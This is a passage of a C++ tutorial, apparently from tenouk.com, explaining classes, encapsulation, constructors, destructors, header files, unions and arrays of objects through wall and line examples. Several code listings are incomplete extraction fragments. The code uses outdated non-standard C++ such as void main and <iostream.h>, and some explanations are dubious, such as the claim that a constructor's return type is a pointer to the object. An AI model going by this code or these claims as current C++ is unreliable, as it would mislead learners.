14. struct pole
15. {
16. int length; //public
17. int depth; //public
18. };
19.
20. //----------rectangle area-------------
21. int surface_area(int rectangle_height, int rectangle_width)
22. {
23. return (rectangle_height * rectangle_width);
24. }
25.
26. //-----------main program--------------
27. void main ( )
28. {
29. rectangle wall, square;
30. pole lamp_pole;
31.
32. wall.height = 12; //assigning data
33. wall.width = 10;
34. square.height = square.width = 8;
35.
36. lamp_pole.length = 50;
37. lamp_pole.depth = 6;
38.
39. cout<<"Area of wall = height x width, OK!"<< "\n";
40. cout<<"-------------------------------------"<< "\n";
41. cout<<"----> Area of the wall is "<<surface_area(wall.height,
42. wall.width)<< "\n\n";
43. cout<<"Area of square = height x width, OK!"<< "\n";
44. cout<<"-------------------------------------"<< "\n";
45. cout<<"----> Area of square is
46. "<<surface_area(square.height,square.width)<<"\n\n";
47. cout<<"Non related area?"<<"\n = height of square x width of the wall?"<<
48. "\n";
49. cout<<"-------------------------------------"<< "\n";
50. cout<<"----> Non related surface area is
51. "<<surface_area(square.height,wall.width)<<"\n\n";
52. cout<<"Wrong surface area = height of square"<<"\nx depth of lamp
53. pole?"<<"\n";
54. cout<<"-------------------------------------"<< "\n";
55. cout<<"---->Wrong surface area is
56. "<<surface_area(square.height,lamp_pole.depth)<<"\n";
57.
58. system("pause");
59. }
59 Lines:Output:
www.tenouk.com
- We have two structures declared, one being a rectangle and the other is a pole. The depth of the
lamp pole is the depth it is buried in the ground, the overall length of the pole is therefore the sum of
the height and depth.
- Figure 12.3 try to describe the data space after the program execution. It may be a bit confused at the
meaning of the result found in line 50 where we multiply the height of the square with width of
the wall, because the data can be access publicly.
- Another one, although it is legal, the result has no meaning because the product of the height of the
square and the depth of the lamp_pole has absolutely no meaning in any physical system we can
think up in reality because they don’t have relation and the result is useless.
- The error is obvious in a program as simple as this, but in a large program production it is very easy
for such problems to be inadvertently introduced into the code by a team of programmers and the errors
can be very difficult to find.
- If we have a program that defined all of the things we can do with a square’s data and another
program that defined everything we could do with lamp_pole’s data, and if the data could be kept
mutually exclusive, we could prevent these silly things from happening.
- If these entities must interact, they cannot be put into separate programs, but they can be put into
separate classes to achieve the desired goal. Compile and run the program.
- Examine the program named classobj.cpp carefully, as an example of object’s data protection in a
very simple program.
www.tenouk.com
5. //---------a simple class declaration part-----------
6. class rectangle
7. {
8. //private by default, member variables
9. int height;
10. int width;
11. public:
12. //public, with two methods
13. int area(void);
14. void initialize(int, int);
15. };
16.
17. //-----------class implementation part--------------
18. int rectangle::area(void)
19. {
20. return (height * width);
21. }
22.
23. void rectangle::initialize(int initial_height, int initial_width)
24. {
25. height = initial_height;
26. width = initial_width;
27. }
28.
29. //normal structure - compare the usage with class
30. struct pole
31. {
32. int length; //public
33. int depth; //public
34. };
35.
36. //-------------main program---------------------------
37. void main ( )
38. {
39. rectangle wall, square;
40. pole lamp_pole;
41.
42. //wall.height = 12;
43. //wall.width = 10;
44. //square.height = square.width = 8;
45. //these 3 lines invalid now, private, access only through methods
46.
47. wall.initialize(12,10); //access data through method
48. square.initialize(8,8);
49. lamp_pole.length = 50; //normal struct data access
50. lamp_pole.depth = 6;
51. cout<<"Using class instead of struct\n";
52. cout<<"access through method area()\n";
53. cout<<"------------------------------\n";
54. cout<<"Area of the wall-->wall.area() = "<<wall.area()<< "\n\n";
55. cout<<"Area of the square-->square.area()= "<<square.area()<<"\n\n";
56. //cout<<"---->Non related surface area is
57. // "<<surface_area(square.height,wall.width)<<"\n\n";
58. //cout<<"---->Wrong area is
59. // "<surface_area(square.height,lamp_pole.depth)<<"\n";
60. //-----illegal directly access the private data
61.
62. system("pause");
63. }
63 Lines:Output:
- In this program, the rectangle is changed to a class with the same two variables which are now
private by default, and two methods which can manipulate the private data. One method is used to
www.tenouk.com
initialize the values of the objects instance and the other method returns the area of the object. The two
methods are defined in lines 17 through 27 in the manner describe earlier in this module.
- The pole is left as a structure to illustrate that the two can be used together and that C++ is truly an
extension of ANSI-C.
- In line 39, we define two objects, once again named wall and square, but this time we cannot
assign values directly to their individual components because they are private member variable of the
class. The declaration is shown below:
- Figure 12.4 is a graphical illustration of the two objects available for use within the calling program.
Lines 42 through 44 are commented out for that reason and the messages are sent to the objects in
lines 47 and 48 to tell them to initialize themselves to the values input as parameters.
- The lamp_pole is initialized in the same manner as in the previous program. Using the class in this
way prevents us from making the silly calculations we did in the last program, because we can only
calculate the area of an object by using the data stored within that object.
- The compiler is now being used to prevent the erroneous calculations, so lines 56 through 59 have
been commented out.
- Even though the square and the wall are both objects of class rectangle, their private data is
hidden from each other such that neither can purposefully or accidentally change the other’s data.
- This is the abstract data type, a model with a set of private variables for data storage and a set of
operations that can be performed on that stored data.
- The only operations that can be performed on the data are those defined by the methods, which
prevents many kinds of erroneous operations.
- Encapsulation and data hiding bind the data and methods, tightly together and limit the scope and
visibility of each.
- An object is separated from the rest of the code and carefully developed in complete isolation from it.
Only then, it is integrated into the rest of the code with a few of very simple interfaces.
- There are two aspects of this technique that really count when you develop software:
1. First, you can get all of the data you really need through the interface.
2. Secondly, you cannot get any protected data that you do not need.
- You are prevented from getting into the protected area and accidentally corrupting some data stored
within it. You also prevented from using the wrong data because the functions available demand a
serial or restricted access to the data.
- This is a very weak example because it is very easy for a knowledgeable programmer to break the
encapsulation, but we will avoid this in next examples.
- You can see that object oriented programming is allowing the programmer to partition his programs
into smaller portion with their own functionalities, hiding some information, accessing data in
controlled manner.
www.tenouk.com
- The drawback is this technique will cost you something in efficiency because every access to the
elements of the object will require time and inefficiency sending messages.
- But, a program made up of objects that closely match the application in real world are much easier to
understand and developed than a program that does not. In a real project however, it could be a great
savings if one person developed all of the details of the rectangle, programmed it, and made it
available to you to simplify the use.
- That is why a lot of classes have been developed, such as, Microsoft Visual C++ has MFC (Microsoft
Foundation Class). We will explore this process in next examples.
www.tenouk.com
61. cout<<"supplied by constructor, access through method area()\n";
62. cout<<"---------------------------------------------------\n\n";
63. cout<<"Area of the wall-->wall.area() = "<<wall.area()<< "\n\n";
64. cout<<"Area of the square-->square.area() = "<<square.area()<<"\n\n";
65. // wall.height = 12;
66. // wall.width = 10;
67. // square.height = square.width = 8;
68. //These 3 lines, invalid now, private access only through methods
69.
70. wall.initialize(12,10); //override the constructor values
71. square.initialize(8,8);
72. lamp_pole.length = 50;
73. lamp_pole.depth = 6;
74.
75. cout<<"Using class instead of struct, USING ASSIGNED VALUE\n";
76. cout<<"access through method area()\n";
77. cout<<"----------------------------------------------------\n";
78. cout<<"Area of the wall-->wall.area() = "<<wall.area()<<"\n\n";
79. cout<<"Area of the square-->square.area()= "<<square.area()<<"\n\n";
80. //cout<<"----> Non related surface area is
81. // "<<surface_area(square.height,wall.width)<<"\n\n";
82. //cout<<"---->Wrong area is
83. // "<surface_area(square.height,lamp_pole.depth)<<"\n";
84.
85. system("pause");
86. }
86 Lines:Output:
- The constructor always has the same name as the class itself and is declared in line 14:
- The constructor is called automatically by the C++ system when the object is declared and prevents
the use of an uninitialized variable. The following is the code segment for constructor:
- When the object named wall is instantiated in line 56, the constructor is called automatically by the
system. The constructor sets the values of height and width each to 6 in lines 24 and 25, in the
object named wall.
rectangle::rectangle(void)
//constructor implementation
{
height = 6;
width = 6;
}
www.tenouk.com
- Likewise, when the object square is defined in line 56, the values of the height and the width of
the square are each initialized to 6 when the constructor is called automatically.
- A constructor is defined as having the same name as the class itself. In this case both are named
rectangle. The constructor cannot have a return type associated with it because of the definition
of the C++. It actually has a predefined return type, a pointer to the object itself.
- Even though both objects are assigned values by the constructor, they are initialized in lines 70 and 71
to the new values as shown below and processing continues.
- Since we have a constructor that does the initialization, we should probably rename the method named
initialize() something else such as reinitialize().
- The destructor is very similar to the constructor except that it is called automatically when each of the
objects goes out of scope. You will recall that automatic variables have a limited lifetime because they
cease to exist when the enclosing block in which they were declared is exited.
- When an object is about to be automatically de-allocated, its destructor, if one exists, is called
automatically.
- A destructor is characterized as having the same name as the class but with a tilde (~) prepend to the
class name. A destructor also has no return type.
- A destructor is declared in line 17:
//----destructor implementation-----
rectangle::~rectangle(void)
{
height = 0;
width = 0;
}
- In this case, the destructor only assigns zeros to the variables prior to their being de allocated.
- The destructor is only included for illustration of how it is used. If some blocks of memory were
dynamically allocated within an object, the destructor should contain code to de allocate them prior to
losing the pointers to them. This would return their memory to the free store for later use.
- Most compilers implement the calling destructor by default.
- Examine the program named wall1.cpp carefully. This is an example of how do not to package an
object for universal use.
- This packaging is actually fine not just for a very small program, but is meant to illustrate to you how to
split your program up into smaller, more manageable programs when you are developing a large
program as individual or a team of programmers.
- This program is very similar to the last one, with the pole structure dropped and the class named
wall. The class is declared in lines 6 through 20:
www.tenouk.com
- The implementation of the class is given in lines 23 through 40 as shown in the following code
segment:
//----------implementation part-------------
wall::wall(void)
{ length = 8;
width = 8;
}
//This method will set a wall size to the two inputs
//parameters by default or initial value,
wall::~wall(void)
//destructor implementation
{ length = 0;
width = 0;
}
1. //Program wall1.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-------a simple class, declaration part--------
6. class wall
7. {
8. int length;
9. int width;
10. //private by default
11. public:
12. wall(void);
13. //constructor declaration
14. void set(int new_length, int new_width);
15. //method
16. int get_area(void){return (length * width);}
17. //destructor method
18. ~wall(void);
19. //destructor declaration
20. };
21.
22. //----------implementation part-------------
23. wall::wall(void)
24. { length = 8;
25. width = 8;
26. }
27. //This method will set a wall size to the two input
28. //parameters by default or initial value,
29.
30. void wall::set(int new_length, int new_width)
31. {
32. length = new_length;
33. width = new_width;
34. }
35.
36. wall::~wall(void)
37. //destructor implementation
38. { length = 0;
39. width = 0;
40. }
41.
42. //----------------main program---------------------
43. void main()
44. {
45. wall small, medium, big;
46. //three objects instantiated of type class wall
47.
48. small.set(5, 7);
49. //new length and width for small wall
50. big.set(15, 20);
51. //new length and width for big wall
52. //the medium wall uses the default
53. //values supplied by constructor (8,8)
www.tenouk.com
54.
55. cout<<"Using new value-->small.set(5, 7)\n";
56. cout<<" Area of the small wall is = "<<small.get_area()<<"\n\n";
57. cout<<"Using default/initial value-->medium.set(8, 8)\n";
58. cout<<" Area of the medium wall is = "<<medium.get_area()<<"\n\n";
59. cout<<"Using new value-->big.set(15, 20)\n";
60. cout<<" Area of the big wall is = "<<big.get_area()<<"\n";
61.
62. system("pause");
63. }
63 Lines:Output:
- The method in line 16 as shown below contains the implementation for the method as a part of the
declaration because it is very simple function.
- When the implementation is included in the declaration, it will be assembled inline whenever this
function is called leading to much faster code execution.
- This is because there is no function call overhead when making a call to the method. In some cases this
will lead to code that is both smaller and faster.
- Inline code implementation in C++ accomplishes the same efficiency that the macro accomplishes in
C, and it is better.
- Examine the wall.h program carefully. You will see that it is only the class definition. No details are
given of how the various methods are implemented except of course for the inline method named
get_area().
- This gives the complete definition of how to use the class with no implementation details. You will
notice that it contains lines 6 through 20 of the previous program wall1.cpp.
- This is called header file and cannot be compiled or run. Create this file, under your main() program
folder. You have learnt this step regarding the user defined function in module 4.
www.tenouk.com
19 Lines
- Examine the program wall.cpp carefully. This is the implementation of the methods declared in the
class header file (wall.h ). Notice that the class header file is included into this file in line 3 which
contains the prototype for the methods and the definitions of the variables to be manipulated.
30 Lines
- The code from lines 23 through 41 of wall1.cpp is contained in this program which is the
implementation of the methods declared in the class named wall.
- This file should be compiled but it cannot be run because there is no main entry point which is
required for all ANSI-C or C++ programs. Make sure there is no error and the wall.h header file
also must be included in your project.
- When it is compiled, the object code will be stored in the current directory and available for use by
other programs. It should be noted here that the result of the compilation is usually referred to as an
object as used in object oriented programming.
- The separation of the definition and the implementation is a major step forward in software
engineering. The definition file or interface is all the user needs in order to use this class effectively in
a program.
- User needs no knowledge of the actual implementation of the methods. If he had the implementation
available, he may study the code and modify it to make the overall program slightly more efficient, but
this would lead to non-portable software and possible bugs’ later if the implementer changed the
implementation without changing the interface.
- The purpose of object oriented programming is to hide the implementation in such a way that the
implementation can not affect anything outside of its own small and well defined boundary or
interface. You should compile this implementation program without error and we will use the result
with the next program example. The compilation generate object file. No need to run.
- Examine the wall2.cpp program and you will find that the class we defined previously is used
within this file. In fact, these last three programs (and three files!) taken together are identical to the
program named wall1.cpp studied earlier.
www.tenouk.com
4. #include <iostream.h>
5. #include <stdlib.h>
6. #include "wall.h"
7. //user defined header file containing
8. //class declaration
9.
10. main()
11. {
12. wall small, medium, large;
13. //three objects instantiated of class wall
14.
15. small.set(5, 7);
16. large.set(15, 20);
17. //the medium wall uses the values
18. //supplied by the constructor
19.
20. cout<<"In this part, we have divided our program into\n";
21. cout<<"three parts.\n"<<"1. Declaration part, wall.h\n";
22. cout<<"2. Implementation part, wall.cpp\n"<<"3. Main program, wall2.cpp\n";
23. cout<<"The output just from the 3rd part i.e. the main \n";
24. cout<<"program is same as the previous program, as follows\n";
25. cout<<"----------------------------------------------------\n\n";
26. cout<<"Area of the small wall surface is = "<<small.get_area()<<"\n";
27. cout<<"Area of the medium wall surface is = "<<medium.get_area()<<"\n";
28. cout<<"area of the big wall surface is = "<<large.get_area()<<"\n";
29. system("pause");
30. }
30 Lines:Output:
- The wall.h file is included here, in line 6, since the definition of the wall class is needed to declare
three objects and use their methods. There is big difference in wall1.cpp and wall2.cpp as we will
see shortly.
- We are not merely calling functions and changing the terminology a little to say we are sending
messages. There is an inherent difference in the two operations.
- Since the data for each object is tightly bound up within the object, there is no way to get to the data
except through the methods and we send a message to the object telling it to perform some operation
based on its internally stored data.
- However, whenever we call a function, we take along the data for it to work with, as parameters since
it doesn’t contain its own data.
- Compile and run this program, but when you come to the link step, you will be required to link this
program along with the result of the compilation when you compiled the class named wall
(wall.cpp). The object file (compiled form) and the header file must be linked together.
- To make sure there is no error, follow these steps (Borland C++, Microsoft Visual C++ or other visual
IDE):
1. Create a project.
2. Create header file wall.h and save it.
3. Create wall.cpp file, compile it without error, generating object file.
4. Create the main program wall2.cpp, compile and run this file.
5. All three files must be in the same project.
6. Regarding the use of the "box.h" or <box.h>, please refer to module 4.
www.tenouk.com
- For Borland C++, the details steps are: First, select the project folder, right click and select Add node.
- When the Add to the Project List Dialog box appears, select the desired file(s) and click Open
button. Finally compile the main() program.
- The three programs examples we have just studied illustrate a concept of data hiding.
- Since the only information the user of the class really need is the class header, the details of the
implementation can be kept hidden from him.
- Since he doesn’t know exactly what the implementer did, he must follow only the definition given in
the header file. As mentioned earlier, accidental corruption of data is also prevented.
- Another reason for hiding the implementation is economic. The company that supplied you with your
C++ compiler gave you many library functions but did not supply the source code of the library
functions, only the interface to each function.
- You know how to use the functions but you do not have the details of implementation, nor do you need
them. Likewise, a class library vendors can develop, which supplies users with libraries of high quality,
completely developed, and tested classes, for a licensing fee.
- Since the user only needs the interface defined, he can be supplied with the interface and the object
(compiled) code for the class and can use it in any way he desired. The vendors’ source code is
protected from accidental or intentional compromise and he can maintain complete control over it.
- But keep in mind that may be this is not the case for the open source community :o).
- An abstract data type is a group of data, each of which can store a range of data values and a set of
methods or functions that operate on that data. Since the data are protected from any outside
influence, it is protected and said to be encapsulated.
- Also, since the data is somehow related, it is a very coherent group of data that may be highly
interactive with each other, but with little interaction outside the scope of its class.
- The methods, on the other hand, are coupled to the outside world through the interface, but there are a
limited number of contacts with or a weak coupling with the outside.
www.tenouk.com
- Because of the tight coherency and the loose coupling, ease of maintenance of the software should be
greatly enhanced.
- The variables could have been hidden completely out of sight in another file, but because the designers
of C++ wished to make the execution of the completed application as efficient as possible, the variables
were left in the class definition where they can be seen but not used.
- In C++ union can contain access specifiers (public, protected, private), member data, and
member functions, including constructors and destructors.
- It cannot contain virtual functions or static data members. It cannot be used as a base class, nor can it
have base classes. Default access of members in a union is public. In C++, the union keyword is
unnecessary.
- Same as in C, a union type variable can hold one value of any type declared in the union by using the
member-selection operator (.) to access a member of a union.
- You can declare and initialize a union in the same statement by using enclosed curly braces. The
expression is evaluated and assigned to the first field of the union.
- Program example:
#include <iostream.h>
#include <stdlib.h>
union Num
{
int ValueI;
float ValueF;
double ValueD;
char ValueC;
};
void main()
{
//Optional union keyword
//ValueI = 100
Num TestVal = {100};
cout<<"\nInteger = "<<TestVal.ValueI<<endl;
TestVal.ValueF = 2.123L;
cout<<"Float = "<<TestVal.ValueF<<endl;
cout<<"Uninitialzed double = "<<TestVal.ValueD<<endl;
cout<<"Some rubbish???"<<endl;
TestVal.ValueC = 'U';
cout<<"Character = "<<TestVal.ValueC<<endl;
system("pause");
}
Output:
- The struct is still useable in C++ and operates just like it does in ANSI-C with one addition. You
can include methods in a structure that operate on data in the same manner as in a class, but methods
and data are automatically defaulted to be public at the beginning of a structure.
- Of course you can make any of the data or methods private section within the structure. The structure
should be used only for constructs that are truly structures. If you are building even the simplest
objects, you are advised to use classes to define them.
- Program example as used in previous union example.
www.tenouk.com
#include <iostream.h>
#include <stdlib.h>
struct Num
{
int ValueI;
float ValueF;
double ValueD;
char ValueC;
};
void main()
{
struct Num TestVal = {100};
cout<<"\nInteger = "<<TestVal.ValueI<<endl;
TestVal.ValueF = 2.123L;
cout<<"Float = "<<TestVal.ValueF<<endl;
cout<<"Uninitialzed double = "<<TestVal.ValueD<<endl;
cout<<"Better than union"<<endl;
TestVal.ValueC = 'U';
cout<<"Character = "<<TestVal.ValueC<<endl;
system("pause");
}
Output:
Example#1
- The following example just to show you the simple program development process using class. We are
very familiar with line as a basic object used in drawing. So we would like to create line object.
- Think simple; first of all just create the program skeleton as shown below. Compile and run, make sure
there is no error.
public:
line(void);
~line(void);
};
line::~line(void)
{
//---------main program-------------
int main()
{
line LineOne;
www.tenouk.com
cout<<"Just program skeleton\n";
system("pause");
return 0;
}
Output:
- Next step is to add simple functionalities. We add one line attribute, line’s color and line pattern type,
with simple implementation returning the color value and user selected pattern type respectively.
- Compile and run this program without error.
line::~line(void)
{
color = NULL;
pattern = 0;
}
//---------------main program----------------------
void main()
{
line LineOne;
int x = 10;
Output:
www.tenouk.com
- Let do some tweaking to this very simple class, notice the difference output and the program execution
flow. Firstly, Change the following red line of code,
- To the following code, recompile and rerun the program, with no argument supplied, constructor value
(12) will be used.
- The output:
- And delete or comment out the following line of code, recompile and rerun the program, so there is no
default constructor value.
pattern = 12;
- Finally we add other line attributes to complete our line object using class.
public:
line(void);
char* LineColor(char* color){return color;};
float LineWeight(float weight){return weight;};
float LineLength(float length){return length;};
char *LineArrow(char* arrow){return arrow = "YES";};
~line(void);
};
www.tenouk.com
//------implementation part-------
line::line(void)
{
//constructors or initial values…
weight = 0.25;
length = 10;
}
line::~line(void)
{
color = NULL;
weight = 0;
length = 0;
arrow = NULL;
}
//---------------main program-----------------
void main()
{
line LineOne;
colorptr = newcolor;
//just for testing the new attribute values...
cout<<"\nAs normal variables....."<<endl;
cout<<"Test the new line weight = "<<x<<endl;
cout<<"Test the new line length = "<<y<<endl;
cout<<"Test the new line color is = "<<colorptr<<endl;
cout<<"\nUsing class......."<<endl;
cout<<"New line's color ----> "<<LineOne.LineColor(colorptr)<<"\n";
cout<<"New line's weight ----> "<<LineOne.LineWeight(x)<<" unit"<<"\n";
cout<<"New line's length ----> "<<LineOne.LineLength(y)<<" unit""\n";
Output:
- Let do some experiment against the constructor and destructor. In this program example we declare a
member variable TestVar and a member function DisplayValue() as a tester.
- Compile and execute this program.
www.tenouk.com
{
//member variable...
public:
int TestVar;
//destructor...
TestConsDest::~TestConsDest()
{
//test how destructor was invoked...
static int y=1;
cout<<"In Destructor, pass #"<<y<<endl;
y++;
//explicitly...
TestVar = 0;
}
//----------------main program------------------------
int main()
{
//instantiate two objects...
//constructor should be invoked...
//with proper memory allocation...
TestConsDest Obj1, Obj2;
Output:
- Notice that the constructor has been invoked properly for the objects Obj1 and Obj2 memory
allocation. It has been reconfirmed by checking the memory address of the objects.
www.tenouk.com
- Unfortunately from the output, there is no cleanup work done. If the destructor called automatically
when the program execution exit the closing brace of the main() program, it is OK. If it is not, then,
there should be memory leak somewhere :o).
- Fortunately, when this program example compiled and run using Microsoft Visual C++ 6.0®, the
destructor properly called for cleanup. The output is shown below:
- It seems that the destructor called when the execution exit the closing brace because the second time
sending message to the DisplayValue(), the value of TestVar = 100 still been displayed
although we have set the value to 0 in the destructor.
private:
char r;
private:
int Funct1();
protected:
void Funct2();
};
int BaseClass::Funct1()
{return 0;}
//constructor implementation
void BaseClass::Funct2()
{}
www.tenouk.com
//destructor implementation
BaseClass::~BaseClass()
{}
system("pause");
return 0;
}
Output:
int item::get_value(void)
{
return keep_data;
}
//-------main program------------
void main()
{
//three objects instantiated
item John_cat, Joe_cat, Big_cat;
//normal variable
int garfield;
//assigning data
John_cat.set(111);
Joe_cat.set(222);
Big_cat.set(333);
garfield = 444;
//John_cat.keep_data = 100;
//Joe_cat.keep_data = 110;
//These are illegal because keep_data now, is private by default
www.tenouk.com
cout<<"\nAccessing data normally\n";
cout<<"=======================\n";
cout<<"Data value for garfield is "<<garfield<<"\n";
}
Output:
/////////-simpleclass.cpp-////////
///////FEDORA 3, g++ x.x.x////////
/////Creating a simple class/////
#include <iostream>
using namespace std;
public:
line(void);
char* LineColor(char* color){return color;};
float LineWeight(float weight){return weight;};
float LineLength(float length){return length;};
char *LineArrow(char* arrow){return arrow = "YES";};
~line(void);
};
//------implementation part-------
line::line(void)
{
//constructors or initial values.
weight = 0.25;
length = 10;
}
line::~line(void)
{
color = NULL;
weight = 0;
length = 0;
arrow = NULL;
}
//---------------main program-----------------
int main()
{
line LineOne;
colorptr = newcolor;
//just for testing the new attribute values...
cout<<"\nAs normal variables....."<<endl;
www.tenouk.com
cout<<"Test the new line weight = "<<x<<endl;
cout<<"Test the new line length = "<<y<<endl;
cout<<"Test the new line color is = "<<colorptr<<endl;
cout<<"\nUsing class......."<<endl;
cout<<"New line's color ----> "<<LineOne.LineColor(colorptr)<<"\n";
cout<<"New line's weight ----> "<<LineOne.LineWeight(x)<<" unit"<<"\n";
cout<<"New line's length ----> "<<LineOne.LineLength(y)<<" unit""\n";
cout<<"Line's arrow ----> "<<LineOne.LineArrow(" ")<<"\n\n";
return 0;
}
As normal variables.....
Test the new line weight = 1.25
Test the new line length = 2.25
Test the new line color is = BLUE
Using class.......
New line's color ----> BLUE
New line's weight ----> 1.25 unit
New line's length ----> 2.25 unit
Line's arrow ----> YES
-------------------------------------------------------o0o-------------------------------------------------------
---www.tenouk.com---
www.tenouk.com
MODULE 13
CLASS - ENCAPSULATION II
Abilities
13.1 Introduction
- This Module will illustrate how to use some of the C/C++ features with classes and objects. Pointers
to an object as well as pointers within an object also will be illustrated.
- Arrays embedded within an object, and an array of objects will also be experimented.
- Since objects are simply another C++ data construct, all of these things are possible. Make sure you
have pre knowledge of the array and pointer to continue on this Module.
- Here, method and function terms may be used interchangeably, as simplicity they provide the same
meaning.
- Examine the program named obarray.cpp carefully. This program is nearly identical to the
program named wall1.cpp in the previous Module, until we come to line 47 where an array of 4
wall objects named group are defined (together with 3 normal variable) as shown below:
- Be reminded that the proper way to use these constructs is to separate them into three programs:
wall.h, wall.cpp (compiled form) and wall2.cpp as in the previous Module.
- We do not follow the rule here just to simplify our learning.
1. //program obarray.cpp
2. //object and an array
3. #include <iostream.h>
4. #include <stdlib.h>
5.
6. //------------------class declaration-------------------
7. class wall
8. {
9. int length;
10. int width;
11. static int extra_data;
12. //declaration of the extra_data static type
13. public:
14. wall(void);
15. void set(int new_length, int new_width);
16. int get_area(void);
17. int get_extra(void) { return extra_data++;} //inline function
18. };
19.
20. //------------------class implementation----------------
21. int wall::extra_data; //Definition of extra_data
22.
23. //constructor, assigning initial values
24. wall::wall(void)
25. {
26. length = 8;
27. width = 8;
28. extra_data = 1;
29. }
30.
31. //This method will set a wall size to the two input parameters
32. void wall::set(int new_length, int new_width)
33. {
34. length = new_length;
35. width = new_width;
36. }
37.
38. //This method will calculate and return the area of a wall instance
39. int wall::get_area(void)
40. {
41. return (length * width);
42. }
43.
44. //----------------------main program-------------------
45. void main()
46. {
47. wall small, medium, large, group[4];
48. //7 objects are instantiated, including an array
49.
50. small.set(5, 7); //assigning values
51. large.set(15, 20);
52.
53. for(int index=1; index<4; index++) //group[0] uses default
54. group[index].set(index + 10, 10);
55.
56. cout<<"Sending message-->small.get_area()\n";
57. cout<<"Area of the small wall is "<<small.get_area()<<"\n\n";
58. cout<<"Sending message-->medium.get_area()\n";
59. cout<<"Area of the medium wall is "<<medium.get_area()<<"\n\n";
60. cout<<"Sending message-->large.get_area()\n";
61. cout<<"Area of the large wall is "<<large.get_area()<<"\n\n";
62.
63. cout<<"New length/width group[index].set(index + 10, 10)\n";
64. for(int index=0; index<4; index++)
65. {
66. cout<<"Sending message using an array
67. -->group"<<"["<<index<<"].get_area()\n";
68. cout<<"An array of wall area "<<index<<" is
69. "<<group[index].get_area()<<"\n\n";
70. }
71.
72. cout<<"extra_data = 1, extra_data++\n";
73. cout<<"Sending message using-->small.get_extra() or \n";
74. cout<<"array, group[0].get_extra()\n";
75.
76. cout<<"Extra data value is "<<small.get_extra()<<"\n";
77. cout<<"New Extra data value is "<<medium.get_extra()<<"\n";
78. cout<<"New Extra data value is "<<large.get_extra()<<"\n";
79. cout<<"New Extra data value is "<<group[0].get_extra()<<"\n";
80. cout<<"New Extra data value is "<<group[3].get_extra()<<"\n";
81.
82. system("pause");
83. }
83 lines: Output:
- Each four wall objects will be initialized to the values defined within the constructor since the
constructor will be executed for each wall as they are defined.
- In order to define an array of objects, a constructor for that object with no parameters must be
available.
- Line 53 defines a for loop that begins with 1 instead of the normal starting index 0 for an array
leaving the first object, named group[0], to use the default values stored when the constructor was
called (length = 8, width = 8 and extra_data = 1).
- Notice that sending a message to one of the array objects, uses the same construct as used for any
object. The name of the array followed by its index in square brackets is used to send a message to one
of the objects in the array as,
The_object.the_method
- The other method get_extra() is called in the cout statement in lines 76 to 80 where the area of
the four walls in the group array are displayed. The following is the code segment:
- All seven objects defined in line 47 of this class, share a single copy of this variable which is global to
the objects. The variable is actually only declared here which says it will exist somewhere, but it is not
yet defined.
- A declaration says the variable will exist and gives it a name, but the definition actually defines a
place to store it somewhere in the computers memory.
- By definition, a static variable can be declared in a class header but it cannot be defined there, so it is
usually defined in the implementation program. In this case it is defined in line 21 as shown below
and can then be used throughout the class.
- Figure 13.1 is a graphical representation of some of the variables. Note that the objects named large,
group[0], group[1], and group[2] are not shown but they also share the variable named
extra_data.
- Each object has its own personal length and width because they are not declared static.
- Line 28 of the constructor sets this single global variable to 1 each time an object is declared. Only
one assignment is necessary as follows.
extra_data = 1;
- To illustrate that there is only one variable shared by all objects of this class, the method to read its
value also increments it. Each time it is read in lines 76 through 80, it is incremented and the output
of the execution proves that there is only a single variable shared by all objects of this class.
- static is used when only one copy of the variable is needed in the program. This can be considered
as an optimization. Understand this program, especially the static variable, then compile and run it.
- Examine the program named obstring.cpp for our first example of an object with an embedded
string. Actually, the object does not have an embedded string; it has an embedded pointer, but the
two work so closely together.
1. //Program obstring.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //--------------class declaration part-----------------------
6. class wall
7. {
8. int length;
9. int width;
10. char *line_of_text; //pointer variable
11. public:
12. wall(char *input_line); //constructor declaration
13. void set(int new_length, int new_width);
14. int get_area(void);
15. };
16.
17. //----------------class implementation part------------------
18. wall::wall(char *input_line) //constructor implementation
19. {
20. length = 8;
21. width = 8;
22. line_of_text = input_line;
23. }
24.
25. //This method will set a wall size to the two input parameters
26. void wall::set(int new_length, int new_width)
27. {
28. length = new_length;
29. width = new_width;
30. }
31.
32. //This method will calculate and return
33. //the area of a wall instance
34. int wall::get_area(void)
35. {
36. cout<<line_of_text<< "= ";
37. return (length * width);
38. }
39.
40. //------------------main program---------------------------
41. void main()
42. {
43. //objects are instantiated with a string
44. //constant as an actual parameters
45. wall small("of small size "),
46. medium("of medium size "),
47. large("of large size ");
48.
49. small.set(5, 7);
50. large.set(15, 20);
51.
52. cout<<" Embedded string used as an object\n";
53. cout<<" ----------------------------------\n\n";
54. cout<<"Area of wall surface ";
55. cout<<small.get_area()<<"\n";
56. cout<<"Area of wall surface ";
57. cout<<medium.get_area()<<"\n";
58. //use default value of constructor
59. cout<<"Area of wall surface ";
60. cout<<large.get_area()<<"\n";
61.
62. system("pause");
63. }
63 lines: Output:
- You will notice that line 10 contains a pointer to a char named line_of_text. The constructor
contains an input parameter which is a pointer to a string which will be copied to the string named
line_of_text within the constructor.
char *line_of_text; //pointer variable
- We could have defined the variable line_of_text as an actual array in the class, then use
strcpy() to copy the string into the object.
- It should be pointed out that we are not limited to passing single parameters to a constructor. Any
number of parameters can be passed, as will be illustrated later.
- You will notice that the three walls are defined this time, we supply a string constant as an actual
parameter with each declaration which is used by the constructor to assign the string pointer some data
to point to.
- When we call get_area() in lines 55, 57 and 60 as shown below, we get the message
displayed and the area returned. It would be prudent to put this operation in separate methods since
there is no apparent connection between printing the message and calculating the area, but it was
written this way to illustrate that it can be done.
cout<<small.get_area()<<"\n";
...
cout<<medium.get_area()<<"\n";
//use default value of constructor
...
cout<<large.get_area()<<"\n";
- Next, study program obinptr.cpp carefully. This is our first example, the program with an
embedded pointer which will be used for dynamic data allocation discussion.
- Internal pointers refer to the pointer variables within the class itself.
1. //Program opinptr.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-------------------class declaration part--------------------
6. class wall
7. {
8. int length;
9. int width;
10. int *point;
11. //declaration of the pointer variable
12. public:
13. wall(void);
14. //constructor declaration
15. void set(int new_length, int new_width, int stored_value);
16. int get_area(void) { return (length * width); }
17. //Inline function
18. int get_value(void) { return *point; }
19. //Inline function
20. ~wall();
21. //destructor
22. };
23.
24. //---------------------class implementation part-----------------
25. wall::wall(void)
26. //constructor implementation
27. {
28. length = 8;
29. width = 8;
30. point = new int; //new keyword
31. *point = 112;
32. }
33.
34. //This method will set a wall size to the input parameters
